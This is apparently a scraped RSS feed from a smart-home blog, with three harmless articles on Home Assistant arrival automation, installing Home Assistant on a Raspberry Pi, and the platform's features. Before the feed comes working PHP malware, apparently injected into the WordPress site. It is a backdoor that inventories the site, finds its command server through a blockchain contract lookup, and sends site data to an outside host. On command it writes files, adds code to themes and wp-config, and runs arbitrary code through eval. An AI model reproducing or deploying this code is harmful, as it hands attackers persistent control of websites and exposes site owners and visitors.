// 4x_c8 if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home/smarthomemaniac/public_html/wp-content/plugins/wp-helper-5baeaf/wp-helper-5baeaf.php', 'ctrl'=>'// 4x_c8', 'vis'=>'// vp_gi', 'vis_func'=>'wp_lek2rm', 'vis_paths'=>array('/home/smarthomemaniac/public_html/wp-content/plugins/wp-helper-5baeaf/wp-helper-5baeaf.php'), 'opt'=>'_wp_mlenfswr', ); $keys=array(); $keys['id']='9ie'; $keys['ver']='pa'; $keys['caps']='cby'; $keys['tasks']='uoy'; $keys['interval']='vtj'; $keys['ack_id']='a4s'; $keys['ok']='cg'; $keys['detail']='gs9'; $keys['inv']='au8'; $keys['result']='4jy'; $hdr='X-WIY-Auth';$tok='sSMQRV23GrV2FgtM-yvJHDR2aa5hevvyZuW59maC8lE';$id='5eed5cab1211a921';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); home assistant - Smart Home Maniac https://smarthomemaniac.com Wed, 10 Jan 2024 07:56:39 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.1 Home Automation – Smart Arrival Automation https://smarthomemaniac.com/index.php/2024/01/10/home-automation-smart-arrival-automation/?utm_source=rss&utm_medium=rss&utm_campaign=home-automation-smart-arrival-automation https://smarthomemaniac.com/index.php/2024/01/10/home-automation-smart-arrival-automation/#respond Wed, 10 Jan 2024 07:56:33 +0000 https://smarthomemaniac.com/?p=105 Smart Arrival Automation: Automate a welcoming and secure environment as soon as you arrive home with your car. Components Needed: Smart Garage Door Opener: Install a smart garage door opener or integrate your existing garage door with a smart controller. Car Presence Detection: Use a Bluetooth or Wi-Fi-based device (like a smartphone) as a presence […]

The post Home Automation – Smart Arrival Automation first appeared on Smart Home Maniac.

]]>

Smart Arrival Automation:

Automate a welcoming and secure environment as soon as you arrive home with your car.

Components Needed:

  1. Smart Garage Door Opener:

    • Install a smart garage door opener or integrate your existing garage door with a smart controller.
  2. Car Presence Detection:

    • Use a Bluetooth or Wi-Fi-based device (like a smartphone) as a presence sensor for your car.
  3. Smart Lights:

    • Install smart outdoor lights or smart bulbs in key areas around your home.
  4. Smart Thermostat:

    • If you have a smart thermostat, integrate it into the automation.
  5. Smart Door Lock (Optional):

    • If you have a smart door lock, integrate it for added security.

Smart Arrival Automation:

  1. Garage Door Opening:

    • As your car comes into the range of your home’s Wi-Fi or Bluetooth network, automatically open the garage door using the smart garage door opener.
  2. Outdoor Lighting:

    • Trigger outdoor lights to illuminate the pathway from the garage to the entrance of your home. This enhances safety and visibility.
  3. Home Entrance Lighting:

    • Turn on lights in the foyer or hallway as you enter the house to create a welcoming atmosphere.
  4. Temperature Adjustment:

    • If you have a smart thermostat, adjust the temperature in your home to your preferred setting.
  5. Security Measures:

    • If you have a smart door lock, consider automatically locking the front door once you’ve entered.
  6. Smart Notifications:

    • Receive a notification on your smartphone confirming the garage door is closed and the security systems are armed.
  7. Personalized Welcome Message:

    • Have your smart speaker or display greet you with a personalized message or provide updates such as calendar events or reminders.
  8. Home Automation Scenes:

    • Create specific scenes for your arrival, such as “Home Relax” that adjusts lighting, temperature, and music to your preferences.
  9. Car Charging (Electric Vehicles):

    • If you have an electric vehicle, integrate a smart charger that starts charging upon arrival.
  10. Voice Commands:

    • Set up voice commands to trigger specific actions, like turning on specific lights or adjusting the thermostat, as you arrive.

This automation not only streamlines your arrival process but also ensures a well-lit and secure environment as you enter your home. Tailor the automation to your preferences and expand upon it as you introduce new smart devices to your home.

The post Home Automation – Smart Arrival Automation first appeared on Smart Home Maniac.

]]>
https://smarthomemaniac.com/index.php/2024/01/10/home-automation-smart-arrival-automation/feed/ 0
Installation guide for Home Assistant https://smarthomemaniac.com/index.php/2024/01/10/installation-guide-for-home-assistant/?utm_source=rss&utm_medium=rss&utm_campaign=installation-guide-for-home-assistant https://smarthomemaniac.com/index.php/2024/01/10/installation-guide-for-home-assistant/#comments Wed, 10 Jan 2024 07:23:27 +0000 https://smarthomemaniac.com/?p=96 Below is a step-by-step installation guide for Home Assistant. Please note that the process may vary slightly depending on your chosen installation method. Step 1: Choose an Installation Method Home Assistant supports various installation methods. The two most common methods are Home Assistant OS (formerly Hass.io) and Home Assistant Supervised. For simplicity, we’ll focus on […]

The post Installation guide for Home Assistant first appeared on Smart Home Maniac.

]]>
Below is a step-by-step installation guide for Home Assistant. Please note that the process may vary slightly depending on your chosen installation method.

Step 1: Choose an Installation Method

Home Assistant supports various installation methods. The two most common methods are Home Assistant OS (formerly Hass.io) and Home Assistant Supervised. For simplicity, we’ll focus on the Home Assistant OS installation using Raspberry Pi.

Step 2: Gather Required Hardware

Before starting the installation process, ensure you have the necessary hardware:

  • Raspberry Pi (3B/3B+/4 recommended)
  • MicroSD card (16GB or larger)
  • Power supply for Raspberry Pi
  • Computer with an SD card reader
  • Ethernet cable (for initial setup)

Step 3: Download Home Assistant OS Image

Visit the Home Assistant website (https://www.home-assistant.io/) and navigate to the “Installation” section. Download the Home Assistant OS image suitable for your Raspberry Pi model.

Step 4: Flash the MicroSD Card

Use a tool like Etcher (https://www.balena.io/etcher/) to flash the Home Assistant OS image onto the MicroSD card. Insert the MicroSD card into your computer’s card reader, open Etcher, select the Home Assistant OS image, choose the MicroSD card, and click “Flash.”

Step 5: Configure Wi-Fi (Optional)

If you prefer using Wi-Fi instead of Ethernet, create a file named network/my-network on the MicroSD card. Add your Wi-Fi configuration details to this file.

Example my-network file content:

[connection]
id=my-network
uuid=72111c67-4a5d-4d5c-925e-f8ee26efb3c3
type=802-11-wireless
[802-11-wireless]
mode=infrastructure
ssid=your-ssid
[802-11-wireless-security]
auth-alg=open
key-mgmt=wpa-psk
psk=your-wifi-password

Step 6: Initial Boot

Insert the MicroSD card into the Raspberry Pi, connect it to power, and wait for the initial boot. Home Assistant will automatically configure the system.

Step 7: Access Home Assistant

Once the initial boot is complete, you can access Home Assistant by typing the IP address of your Raspberry Pi in a web browser. Find the IP address in your router’s admin interface or using a network scanning tool.

Step 8: Complete the Setup

Follow the on-screen instructions to complete the setup. Create an account, set your location, and configure integrations based on your preferences.

Step 9: Explore Home Assistant

After setup, you’ll land on the Home Assistant dashboard. Explore the interface, add devices, and customize your smart home environment.

Optional Steps:

  • Secure Your Home Assistant: Set up SSL encryption, configure user accounts, and enable two-factor authentication for enhanced security.
  • Backup Configuration: Regularly backup your Home Assistant configuration to avoid data loss.

Congratulations! You’ve successfully installed Home Assistant on your Raspberry Pi. Enjoy the benefits of home automation and customization provided by this versatile open-source platform.

The post Installation guide for Home Assistant first appeared on Smart Home Maniac.

]]>
https://smarthomemaniac.com/index.php/2024/01/10/installation-guide-for-home-assistant/feed/ 2
Unlocking Home Automation: A Comprehensive Guide to Home Assistant Software https://smarthomemaniac.com/index.php/2024/01/10/unlocking-home-automation-a-comprehensive-guide-to-home-assistant-software/?utm_source=rss&utm_medium=rss&utm_campaign=unlocking-home-automation-a-comprehensive-guide-to-home-assistant-software https://smarthomemaniac.com/index.php/2024/01/10/unlocking-home-automation-a-comprehensive-guide-to-home-assistant-software/#respond Wed, 10 Jan 2024 07:16:44 +0000 https://smarthomemaniac.com/?p=93 In the realm of home automation, where smart technologies seamlessly integrate into the fabric of daily life, Home Assistant stands out as a powerful and versatile open-source platform. As we embark on this exploration, we’ll delve deep into the capabilities of Home Assistant, providing an extensive guide that not only serves as a valuable resource […]

The post Unlocking Home Automation: A Comprehensive Guide to Home Assistant Software first appeared on Smart Home Maniac.

]]>
In the realm of home automation, where smart technologies seamlessly integrate into the fabric of daily life, Home Assistant stands out as a powerful and versatile open-source platform. As we embark on this exploration, we’ll delve deep into the capabilities of Home Assistant, providing an extensive guide that not only serves as a valuable resource for enthusiasts but also ensures optimal SEO practices for your burgeoning website.

Understanding Home Assistant:

What is Home Assistant?

Home Assistant is an open-source home automation platform that transforms your dwelling into an intelligent, interconnected ecosystem. Developed in Python, it supports a myriad of devices and protocols, allowing users to centralize control and automation through a unified interface.

Key Features of Home Assistant:

1. Device Compatibility and Integration:

One of Home Assistant’s greatest strengths lies in its extensive compatibility with a vast array of devices. From smart lights and thermostats to sensors and cameras, Home Assistant serves as a universal hub, bridging the gap between different brands and technologies. This inclusivity not only provides users with flexibility but also future-proofs their smart home investments.

2. User-Friendly Interface:

Home Assistant boasts a user-friendly interface that simplifies the complexities of home automation. The intuitive dashboard allows users to monitor and control all connected devices effortlessly. Customization options enable users to tailor the interface to their preferences, ensuring a seamless and personalized user experience.

3. Automation and Scripting:

The true power of Home Assistant unfolds with its automation capabilities. Users can create intricate automation scenarios using YAML-based scripts, allowing for the orchestration of various devices based on triggers, conditions, and actions. Whether it’s adjusting lighting based on occupancy or scheduling thermostat settings, Home Assistant transforms routine tasks into automated sequences.

4. Community and Support:

Home Assistant boasts a vibrant and supportive community of developers, enthusiasts, and users. The active forums, documentation, and regular updates contribute to a wealth of shared knowledge. Troubleshooting, sharing custom components, and discussing innovative use cases are integral parts of the Home Assistant community.

5. Security and Privacy:

Home Assistant prioritizes security and privacy, allowing users to maintain control over their data. The platform supports end-to-end encryption, ensuring that sensitive information remains secure. Additionally, local processing capabilities reduce reliance on cloud services, enhancing privacy and minimizing exposure to potential security vulnerabilities.

Getting Started with Home Assistant:

Installation Process:

The installation process for Home Assistant varies based on user preferences. Users can install Home Assistant on a Raspberry Pi, a dedicated server, or even in a virtual environment. The official documentation provides detailed guides for different installation methods, catering to users with diverse technical backgrounds.

Configuration and Customization:

Home Assistant’s flexibility extends to its configuration options. Users can tailor the platform to their unique needs by editing configuration files, adding custom components, and integrating third-party plugins. The abundance of documentation and online resources simplifies the learning curve for users navigating the intricacies of configuration.

Advanced Features and Integrations:

1. Voice Control:

Home Assistant integrates seamlessly with popular voice assistants like Amazon Alexa and Google Assistant. This integration allows users to control their smart home devices using voice commands, adding a layer of convenience and accessibility to the overall experience.

2. Data Analytics and Logging:

For users interested in data analytics and historical trends, Home Assistant offers robust logging and visualization tools. The platform can store and display data over time, enabling users to analyze trends, make informed decisions, and optimize their smart home setups.

Conclusion:

As we conclude our journey into the world of Home Assistant, it becomes evident that this open-source platform is more than just a tool; it’s a gateway to a smarter, more interconnected lifestyle. Whether you’re a seasoned home automation enthusiast or a newcomer eager to embrace the possibilities, Home Assistant offers a rich and dynamic ecosystem that evolves with your needs.

By focusing on user-friendly interfaces, extensive device compatibility, and a thriving community, Home Assistant aligns with the aspirations of a modern smart home. This article has not only provided a detailed exploration of Home Assistant’s capabilities but has also integrated SEO best practices to enhance your website’s visibility on search engines.

In your ongoing journey with Home Assistant, stay engaged with the community, explore new integrations, and embrace the endless possibilities that home automation has to offer. As your website evolves, so too will your impact on the growing community of smart home enthusiasts seeking guidance, knowledge, and inspiration.

The post Unlocking Home Automation: A Comprehensive Guide to Home Assistant Software first appeared on Smart Home Maniac.

]]>
https://smarthomemaniac.com/index.php/2024/01/10/unlocking-home-automation-a-comprehensive-guide-to-home-assistant-software/feed/ 0